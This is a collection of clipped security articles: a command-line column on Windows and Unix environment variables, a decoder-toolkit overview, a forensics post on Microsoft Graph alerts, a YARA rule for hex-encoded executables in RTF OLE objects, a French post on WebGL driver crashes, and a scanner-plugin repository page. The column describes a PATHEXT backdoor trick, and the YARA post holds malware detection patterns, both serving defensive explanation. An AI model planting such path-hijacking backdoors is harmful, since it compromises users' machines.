for the Burp Proxy are available here, and instructions for Charles Proxy are
also available.

Once you have your iOS device or simulator setup using the self-signed
certificate of your HTTP proxy, you should be able to intercept HTTPS
connections that would otherwise terminate. This is useful for fuzzing,
analyzing, and testing iOS applications for security issues.

# Command Line Kung Fu: Episode \#28: Environment-a-list

**Created:**| _5/16/2009 10:28:52 AM_  
---|---  
**Updated:**| _5/16/2009 10:28:56 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#28: Environment-a-list

Ed starts out:  
  
At a cmd.exe prompt, you can list all environment variables using the "set"
command by itself:  

[code]

    C:\> set
[/code]

Pretty simple. By default, there are a typically a lot of variables set,
upwards of two or three dozen.  
  
Another property of set involves the listing of groups of environment
variables that start with a substring. For example, to see all of your
environment variables that start with the letters pr, you could type:  

[code]

    C:\> set pr
    
[/code]

It's kinda weird, but environment variables in Windows cmd.exe are case
insensitive.  
  
We can refer to any one of these variables in a command by using the
%\[var\]%. Thus, we can see the value of the username variable by running:  

[code]

    C:\> echo %username%
    
[/code]

Or, we can see the value using the set command with:  

[code]

    C:\> set username
    
[/code]

Prior to Vista, Windows didn't include a built-in whoami command. The closest
thing we have is this "set username". However, be aware that, depending on how
your shell is instantiated, you may or may not have this variable set. For
example, this variable is typically not set when Metasploit launches a shell
on a compromised box. Windows Vista does include a whoami command, but that's
a story for another article. We must keep focus when performing command line
kung fu.  
  
Other environment variables besides username that are worthwhile include our
path variable:  

[code]

    C:\> set path  
    Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program  
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH  
    
    
[/code]

The output here will show you both your path, plus the pathext variable
\(remember, set \[string\] shows all variables that start with string\). The
pathext variable is particularly interesting, because it tells us the priority
of execution on the machine for various file name suffixes. By default, if I
type in "command", but don't specify a suffix, command.com will be run first.
If that doesn't exist, the system tries command.exe. Then, it moves onto
command.bat and so forth. That behavior can be used for some evil stuff by
creating a backdoor called cmd.com or ipconfig.com and inserting it somewhere
in the user's path.  
  
Windows, by the way, includes an implicit "." at the very beginning of every
user's path. That's a huge bummer from a security perspective, because users
can be tricked into running a backdoor out of their current directory when
they try to invoke some other command. Also, note that Windows doesn't seem to
be too proud that "." is in the path, because it doesn't show it... but, it
behaves as though it's there allright.  
  
Other useful environment variables include %systemroot%, which tells you which
partition and folder your primary Windows software is located in:  

[code]

    C:\> echo %systemroot%
    
[/code]

Often when I'm handling an incident, I see attackers who assume the system
root is on C:\\. But, sometimes, it's not, and attackers get wrapped around
the axel trying to figure out why their tweaks to the OS aren't having an
impact. Whenever I'm doing a penetration test and I compromise a Windows box,
I quickly display my systermroot and username variables, because that helps to
orient me to the target machine.  
  
Also, the prompt environment variable is called, simply enough, prompt. It's
default value is $P$G, which indicates your current working directory \($P\)
followed by a greater than sign \($G\). You could really freak yourself out by
running:  

[code]

    C:\> set prompt=$$  
    $ ls  
      
    
    
[/code]

You now have a Linux wanna-be for your shell. I tell ya, when I see that $
prompt, and I just want to type "ls". Alas, no dice. :\)  
  
Hal responds:  
  
It's interesting to me how even something as simple as environmental variables
points out the differences between the Windows and Unix command-line
philosophies. For example, instead of packing all kinds of functionality into
a single command like Windows does with "set", Unix handles this by providing
a toolkit of different programs that all interact with each other. For
example, you use the "env" command to dump all of your current environment
variable settings. If you want a specific subset, you pipe the output of "env"
into "grep":  
  

[code]

    $ **env | grep PATH**  
     MANPATH=/usr/man:/usr/share/man:/usr/openwin/man:/usr/dt/man:/usr/local/man  
    CDPATH=.:/home/hal  
    LD_LIBRARY_PATH=/usr/lib:/usr/openwin/lib:/usr/dt/lib:/usr/local/lib  
    PATH=/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/sbin:/usr/sbin:...
    
[/code]

  
This seems cumbersome-- you have to use two commands and a pipe instead of
using just one "set" command with different parameters. But the power of this
idiom is that you use the same knowledge of "grep" to search  _any_ kind of
textual data in Unix, whereas under Windows you have to learn the particular
idiosyncracies of a whole host of separate command line interfaces that each
only deal with very specific types of data.  
  
Anyway, returning to Ed's examples, you can display the value of a particular
variable using "echo", and we typically set new values using "export" so that
the variable setting will be passed along to any subshells we spawn:  
  

[code]

    $ **echo $PATH**  
     PATH=/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/sbin:/usr/sbin:...  
    $ **export PATH=.:$PATH**  
     $ **echo $PATH**  
     PATH=.:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/sbin:/usr/sbin:...  
    $ **export PATH=${PATH/\.:/}**  
     $ **echo $PATH**  
     PATH=/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/sbin:/usr/sbin:...
    
[/code]

  
Here I'm using the current value of $PATH in the "export" expression so that I
can prepend "." \(the current working directory\) at the front of my search
path. Obviously, as Ed points out above, this is a terrible idea from a
security perspective, so I then use the same variable substitution operator we
used back in Episode 26 to remove the leading dot. Again, I'm leveraging prior
knowledge of basic shell building blocks to solve a new problem.  
  
As Ed points out, Unix does have the "whoami" command, plus a number of other
mechanisms for figuring out what user you are that provide different types of
information:  
  

[code]

    $ **whoami**  
     hal  
    $ **who am i**  
     hal      pts/2        2009-04-26 14:44 (:0.0)  
    $ **id**  
     uid=1000(hal) gid=1000(hal) groups=4(adm),20(dialout),24(cdrom),...
    
[/code]

  
Also, the your login program will generally set the $LOGNAME and $HOME
environment variables, and your shell may also set the $USER and/or $USERNAME
variables as well.  
  
You can change your prompt by setting the $PS1 environment variable. For
example, the default on my Ubunty machine is:  
  

[code]

    $ **export PS1='\u@\h:\w\$ '**  
     hal@elk:~$
    
[/code]

  
There are a whole host of different escape sequences you can use here: "\u" is
your user ID, "\h" is the unqualified host name, and "\w" is the current
working directory. So if we wanted to emulate the standard Windows command
prompt in our Unix shell we could use:  
  

[code]

    hal@elk:~$ **export PS1='\w> '**  
     ~> **cd /tmp**  
     /tmp>
    
[/code]

  
Of course, it doesn't look exactly like the Windows prompt, because when
you're in your home directory, the directory is listed as "~", not $HOME.
However, you can use the magic $PWD variable in your prompt instead of "\w" to
get a more Windows-like experience:  
  

[code]

    /tmp> **export PS1='$PWD> '**  
     /tmp> **cd**  
     /home/hal> 
    
[/code]

  
The emulation isn't perfect because Unix uses forward slashes in directory
paths, not backslashes. I present the following for the truly psychotic:  
  

[code]

    /home/hal> **export PS1='C:${PWD//\//\\\\}> '**  
     C:\home\hal> **cd /tmp**  
     C:\tmp> 
    
[/code]

  
You think having a "$" prompt will confuse the Windows folks? Try putting the
above recipe into your /etc/profile file next April Fool's Day and watch your
Unix users freak out.  
  
By the way, you'll notice that the variable is $PS1. There's also $PS2:  
  

[code]

    C:\home\hal> **export PS1='$ '**  
     $ **export PS2='more> '**  
     $ **for i in ***  
     more> **do**  
     more> ...
    
[/code]

  
Believe it or not, there are even $PS3 \(the prompt used by the "select"
command\) and $PS4 \(usually set to "+", this is the value printed before each
command in an execution trace as with "set -x"\).  
  
Paul Throws His Hat In:  
  
One of the environment variables that I've encountered in the past that has
really helped me is "LD\_LIBRARY\_PATH". The variable stores the path that
will be used by programs to find software libraries. For example, if you've
got a bunch of custom libraries in /opt/local/lib you could run the following
command:  
  

[code]

    $ export LD_LIBRARY_PATH="/opt/local/lib:/usr/local/lib:/usr/lib:/lib"
    
[/code]

  
  
This comes in handy when you are using OS X and something such as MacPorts is
installed in /opt and has the libraries you are looking for. Yes, these are in
fact the libraries you are looking for...

# Overview - gdsl-toolkit - Overview of the GDSL toolkit. - Generic Decoder
Specification Language Toolkit - Google Project Hosting

**Created:**| _10/24/2013 2:02:24 PM_  
---|---  
**Updated:**| _10/24/2013 2:02:24 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing parser il_  
  

# **O** verview****

The toolkit generates frontends for the analysis of executable code**.** It is
meant as a common platform to specify instruction decoders and translations
into intermediate representations**.** It consists of a compiler from a domain
specific language called GDSL to C \(other target languages can be added\) and
several decoders and semantic translations**.** See the specifications  for a
list of existing decoders and semantic translations**.** The toolkit also
contains a few demo applications and libraries **.**

## Generic Decoder Specification Language \(GDSL****\)

GDSL is an ML-like functional language that is designed to create decoders
from byte streams to assembler instructions and from there to a semantics**.**
Its design goals can be found here . It was motivated by a discussion at the
Dagstuhl seminar 12051 where the need for a public-domain cross-platform
frontend was raised**.**

## GDSL Compiler****

Our compiler for GDSL is written in SML and emits C code**.** Other output
languages can be added if needed. The aim of the code generation is to
preserve the structure of the input program as much as possible in order to
enable the user to debug and profile the program at the C level**.** Indeed,
the emitted code is closed to hand-written C which allows standard C compilers
to create very efficient code**.** In our experiments  our Intel x86 decoder
outperforms the XED instruction decoder that is shipped with Intel's Pin
toolkit**.**

### Type Inference****

Besides testing our decoders against other available decoders, our language
contains a sophisticated type inference that infers standard Hindley-Milner
types \(as in ML or Haskell\) but furthermore infers the length of bit vectors
in the presence of concatenation and features row-polymorphic records**.** The
latter are simply collections of field-name, value pairs**.** The inference is
able to check that a field is defined whenever it is used**.** Besides obvious
programming errors, the type inference has highlighted a few misprints in the
Intel instruction manual \(the version used is from May 2012\):

  * CVTDQ2PD and CVTPD2DQ with `f3` and `vex f3 0f` prefix lack an /r 

  * PSLLDQ and PSLRDQ are specified with /7 and /3, respectively, but a general register is used afterwards; we assume the instructions are valid for the more general /r 

  * multi-byte NOP instruction can only take `EAX` as argument 

## Releases****

**Version** |  **Date** |  **URL**  
---|---|---  
0**.** 9.0 |  23.10**.** 2013 |  http://wiki.gdsl-toolkit.googlecode.com/git/dist/gdsl-toolkit-0**.** 9**.** 0.tar.gz   
****

# Leveraging Microsoft Graph API for memory forensics

**Created:**| _3/2/2019 6:38:10 PM_  
---|---  
**Updated:**| _3/2/2019 6:38:10 PM_  
**Author:**| _wishi_  
**Tags:**| _Forensics windows Memory forensics Graphs_  
  

  

# Leveraging Microsoft Graph API for memory forensics

## How to deal with “lack of context” issues when dealing with your endpoint
alerts.

<img src='img/1*n28WCQjaxWBRGTyyP_L1KQ.jpeg' width='50' height='50' alt='Go to
the profile of Matt Suiche' />

Matt Suiche

Jan 17·3 min read

**TL;DR** : Download _GetProcessSecurityAlerts_ from our GitHub account.

In a previous post, I mentioned that generating a memory dump when an alert,
generated by one endpoint solution, is triggered would be a good orchestration
scenario for incident response or troubleshooting use cases.

### Microsoft Graph Security API

Unfortunately, monitoring alerts require a unified interface which is not
often available.

Fortunately, Microsoft has been putting a lot of effort in centralizing data
through a set of RESTful APIs with a solution called Microsoft Graph API which
includes Microsoft Graph Security API \(see whitepaper\). Microsoft Graph Team
is even currently running a hackathon around their Graph Security API.

Microsoft Graph Security API is an aggregated interface between client
scenarios and security providers. The alerts and secure score APIs are
particularly interesting for us, and we will mainly focus on the alerts API.

<img src='img/Temp2_4896.jpg' width='75' height='35' /><img
src='img/1*SptsWIZ5UIEF06xMYBs3GQ.png' width='1000' height='469' />

Graph Security API layer

### Lack of Context \(or missing information\)

As we will see below in some scenarios, endpoint alerts often omit critical
information when querying alerts to the broke which sometimes makes it hard to
understand what’s going on without manually double checking a result which is
a strong pain point for analysts.

This challenged is called “ _lack of context_ ” in the Microsoft Graph
Security API documentation and is defined as the following:

> The other limitation that we will face is the lack of context. The alert
> contains information on the initiative events or triggers \(detection of
> malware during a scan, suspicious authentication, etc.\) and some contextual
> elements that the security system knows \(the name and type of malware, the
> IP address of the post, the processes involved …\). The work of
> investigation may require access to additional information that may not be
> available from this provider, but which is distributed among the different
> providers and which will enrich the entire context around this alert.
The reason behind “lack of context” issues is primarily due to the fact that
there is no common scheme/template model between providers which sometimes
\(always?\) make it hard for software vendors and analysts to collect and
analyze data.

I tweeted some examples of alerts with “ _lack of context_ ” issues returned
by Microsoft Graph Security API, see below a scenario where no information on
the parent process ID is retrieved.

<img src='img/Temp2_4894.jpg' width='75' height='16' />

### Alerts

`security/alerts` returns information gathered from various services,
including endpoints such as ATP on events about suspicious behavior found such
as:

  * •a suspicious PowerShell script
  * •exploit
  * •a known malware
  * •executable hidden as a double execution file \(.pdf.exe\)

When an alert is raised and recovered, we are particularly interested by:

  * •Which machine is affected \(and where is that machine\)
  * •Which process \(or driver\) has been flagged as suspicious

After exploring Microsoft Graph Security API, I decided to write a small
PowerShell script `GetProcessSecurityAlerts.ps1`that pulls the latest alerts
from specific categories containing process related information.

<img src='img/Temp2_4895.jpg' width='75' height='61' />

The scripts displays the machine information and the processes related
information for \(managed or unmanaged\) alerts that belong to our categories
of interest.

Once those information are recovered, the analyst has all the information
needed to either:

  * •do a process memory dump \(ProcDump, TaskMgr or Process Explorer\)
  * •or a full memory dump \(Comae DumpIt\)

which can both be fed to our memory analysis platform Comae Stardust since the
platform now supports both types as described in our latest webinar:

<img src='img/Temp2_4893.jpg' width='75' height='56' />

We may add a direct integration inside Comae Stardust in the future — but for
now, only the PowerShell script is available. We really hope to see more
endpoint vendors opening their APIs to make it easier for analysts to deal
with “lack of context” challenges, especially during incident response or
threat hunting engagements. Hopefully, the release of this script also helps
vendors to understand the importance of stable, reliable, informative and fast
memory forensics solutions as they complementary to some of their problems.

### GetProcessSecurityAlerts Script

The PowerShell is available on our GitHub account and can be found at the
following address:

**comaeio/Stardust-PowerShell**  
 _Comae Stardust PowerShell Interface. Contribute to comaeio/Stardust-
PowerShell development by creating an account on…_ github.com

  

# Write YARA Rules to Detect Embedded EXE Files in OLE Objects - Nextron
Systems

**Created:**| _3/7/2018 8:38:45 AM_  
---|---  
**Updated:**| _3/7/2018 8:38:45 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis signatures ole_  
  

  

# Write YARA Rules to Detect Embedded EXE Files in OLE Objects

Jan 22, 2018 | LOKI, SPARK, THOR, YARA
This is the first blog post published on our new website. If you followed my
blog on www.bsk-consulting.de you should consider subscribing to the RSS feed
of this blog or the “Nextron Systems Newsletter”.

This is one of the YARA related blog posts showcasing a special use case. Last
year I noticed that I wrote many rules for hex encoded strings found in OLE
objects embedded in MS Office documents and RTF files.

<img src='img/Screen-Shot-2018-01-22-at-16.22.24.png' width='576' height='334'
/>

I did most of the encoding and decoding work on the command line or with the
help of CyberChef, an online tool provided by GCHQ. I also thought about a new
YARA keyword that would allow us to write rules without encoding the strings.

Today, rules contain strings in a hex encoded form. I usually add the decoded
string as a comment.

$s1 = "68007400740070003a002f002f00" /\* http:// \*/

Rules with the new keyword would look like this:

$s1 = "http://" wide hex

Neat, isn’t it? I already forwarded that feature request to Wesley Shields
\(@wxs\) but it seems to be no low hanging fruit. I’ll keep you informed about
this feature via Twitter.

A tweet by Kevin Beaumont reminded me of the work that I’ve done and while
looking at the tool by Rich Warren. I thought that I should create a
illustrative example of a more generic YARA rule that explains why the “hex”
keyword would be very useful.

<img src='img/Screen-Shot-2018-01-22-at-16.59.42-1024x867.png' width='576'
height='488' />

The tool creates weaponized RTF files with hex encoded payloads.

<img src='img/Screen-Shot-2018-01-22-at-20.37.20.png' width='576' height='697'
/>

I derived some strings for a new rule from the decoded object.

/\* Hex encoded strings \*/  
/\* This program cannot be run in DOS mode \*/  
$a1 =
"546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465"
ascii  
/\* C:fakepath \*/  
$a2 = "433a5c66616b65706174685c" ascii

To further improve the rule I went to my goodware directory and ran the
following command to generate a list of the most frequent PE file headers in a
hex encoded form.

neo$ find ./ -type f -name "\*.exe" -exec xxd -ps -l 14 \{\} ; | sort | uniq -c | sort -k 1 | tail -10  
4 4d5a87000300000020000000ffff  
4 4d5aae010300000020000000ffff  
4 4d5abf000300000020000000ffff  
4 4d5add000300000020000000ffff  
4 4d5aeb000300000020000000ffff  
6 213c73796d6c696e6b3e2f757372  
8 4d5a72010200000020001700ffff  
88 4d5a40000100000006000000ffff  
116 4d5a50000200000004000f00ffff  
5852 4d5a90000300000004000000ffff

Then I used these hex encoded strings in a YARA rule that looks for these
strings in the OLE objects of an RTF file.

rule MAL\_RTF\_Embedded\_OLE\_PE \{  
meta:  
description = "Detects a suspicious string often used in PE files in a hex
encoded object stream"  
author = "Florian Roth"  
reference =
"https://github.com/rxwx/CVE-2018-0802/blob/master/packager\_exec\_CVE-2018-0802.py"  
date = "2018-01-22"  
strings:  
/\* Hex encoded strings \*/  
/\* This program cannot be run in DOS mode \*/  
$a1 =
"546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465"
ascii  
/\* KERNEL32.dll \*/  
$a2 = "4b45524e454c33322e646c6c" ascii  
/\* C:fakepath \*/  
$a3 = "433a5c66616b65706174685c" ascii  
/\* DOS Magic Header \*/  
$m3 = "4d5a40000100000006000000ffff"  
$m2 = "4d5a50000200000004000f00ffff"  
$m1 = "4d5a90000300000004000000ffff"  
condition:  
uint32be\(0\) == 0x7B5C7274 /\* RTF \*/  
and 1 of them  
\}

The first analysis of the coverage looks pretty good. I see only clear matches
in munin‘s output.

<img src='img/Screen-Shot-2018-01-22-at-19.52.33.png' width='576' height='604'
/>

The few questionable matches look fishy enough to release my rule.

<img src='img/Screen-Shot-2018-01-22-at-20.54.36.png' width='576' height='574'
/>

<img src='img/Screen-Shot-2018-01-22-at-20.54.25.png' width='576' height='379'
/>

If you have further ideas to improve the rule, ping me via Twitter.

  

# Expert: Miami: Les drivers graphiques

**Created:**| _5/11/2011 9:02:08 PM_  
---|---  
**Updated:**| _5/11/2011 9:24:36 PM_  
**Author:**| __  
**Tags:**| _windows pwnage GPU Driver_  
  

## Wednesday, May 11, 2011

### Les drivers graphiques

Recemment, tout le monde s'est mis a s'inquieter du fait que WebGL existait.
Ou du moins, commencait a etre inetegre a des navigateurs populaires comme
Chrome ou Firefox. Certes, cela ajoute un niveau additionnel de complexite au
code et une nouvelle surface d'attaque associee - ce qui n'est pas ideal -
mais surtout ca expose les drivers graphiques aux Internets. Et ca, c'est le
debut de la fin \(meme si FX ne semble pas etre d'accord\). Pour la bonne et
simple raison que les drivers graphiques sont gros et tres mal codes \(mon
.sys ATI est plus gros que mon noyau\).  
  
Dans l'eventualite ou vous voudriez en avoir la preuve, je vous invite a vous
rendre sur la page du test de conformite WebGL depuis un Windows XP sous
VMware avec Chrome, le tout a jour, avec support 3D. Apres quelques tests, ma
VM a bluescreene, faute au driver video de VMware qui a tente une division par
0 en ring 0 \(dans vmx\_fb.dll pour etre precis\). La division par 0, ce n'est
pas bien grave, mais ca ne represente qu'une portion infime de ce qui peut
derailler dans le traitement de la 3D.  
  

<img src='img/Temp2_2820.png' width='320' height='298' />

  
  
Maintenant, est-ce la faute de VMware seulement? Pas vraiment. Je citerai pour
demonstration la liste noire de drivers videos dans Firefox 4. Mozilla a pris
l'initiative de ne pas activer WebGL si les drivers graphiques sont "pourris"
\(enfin, ils le sont tous\), et ne supporte vraiment que les 3 grands marques
ATI, Intel, Nvidia. Pour crasher votre VM avec Firefox, il faut aller dans
about:config, et forcer WebGL. En fait, Chrome fait de meme, plus ou moins. On
relevera les notes suivantes:  
  

  * 
[code]    NVIDIA drivers older than 257.21 on Windows XP are assumed to be
buggy.

    
[/code]

  * 
[code]    Intel drivers older than 14.42.7.5294 on Windows XP are assumed to
be buggy.

    
[/code]

  * 
[code]    ATI drivers older than 10.6 on Windows XP are assumed to be buggy.

    
[/code]

Je trouve relativement interessant qu'il releve aujourd'hui du navigateur de
proteger l'utilisateur des couches de vulnerabilites de niveau inferieur.
Enfin toujours est-il que lorsque je lis les recherches de "Context
Information Security LTD", je me dis qu'ils sont passes a cote du probleme.

# Coveros/zap-sonar-plugin

**Created:**| _1/7/2019 9:07:27 PM_  
---|---  
**Updated:**| _1/7/2019 9:07:27 PM_  
**Author:**| __  
**Tags:**| __  
  

  

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-eye v-align-text-bottom js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='15'%3e%3cpath fill-rule='evenodd' d='M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z' data-evernote-id='457' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Watch You must be signed in to watch a repository 27 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-star v-align-text-bottom js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='16'%3e%3cpath fill-rule='evenodd' d='M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z' data-evernote-id='459' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Star You must be signed in to star a repository 28 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-repo-forked v-align-text-bottom js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='17'%3e%3cpath fill-rule='evenodd' d='M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='461' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Fork You must be signed in to fork a repository 14 

#  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-repo js-evernote-checked' viewBox='0 0 12 16'
version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='18'%3e%3cpath fill-rule='evenodd' d='M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z' data-evernote-id='462' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Coveros/**zap-sonar-plugin**

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-code js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='19'%3e%3cpath fill-rule='evenodd' d='M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z' data-evernote-id='466'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Code <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-issue-opened js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='20'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='470' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Issues 9 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-pull-request js-evernote-checked' viewBox='0 0 12
16' version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='21'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='475' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Pull requests 1 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-project js-evernote-checked' viewBox='0 0 15 16'
version='1.1' width='15' height='16' aria-hidden='true' data-evernote-
id='22'%3e%3cpath fill-rule='evenodd' d='M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0
1-1V1a1 1 0 0 0-1-1z' data-evernote-id='479' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Projects 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='23'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='481'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Wiki  <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-graph js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='24'%3e%3cpath fill-rule='evenodd' d='M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z' data-evernote-id='482' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Insights

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

Integrates OWASP Zed Attack Proxy reports into SonarQube

dynamic-analysis  zap  owasp  owasp-zap  software-security  security  appsec
sonarqube  sonar-plugin

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-history js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='25'%3e%3cpath fill-rule='evenodd' d='M8 13H6V6h5v2H8v5zM7 1C4.81 1 2.87 2.02 1.59 3.59L0 2v4h4L2.5 4.5C3.55 3.17 5.17 2.3 7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-.34.03-.67.09-1H.08C.03 7.33 0 7.66 0 8c0 3.86 3.14 7 7 7s7-3.14 7-7-3.14-7-7-7z' data-evernote-id='501' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 48  commits 
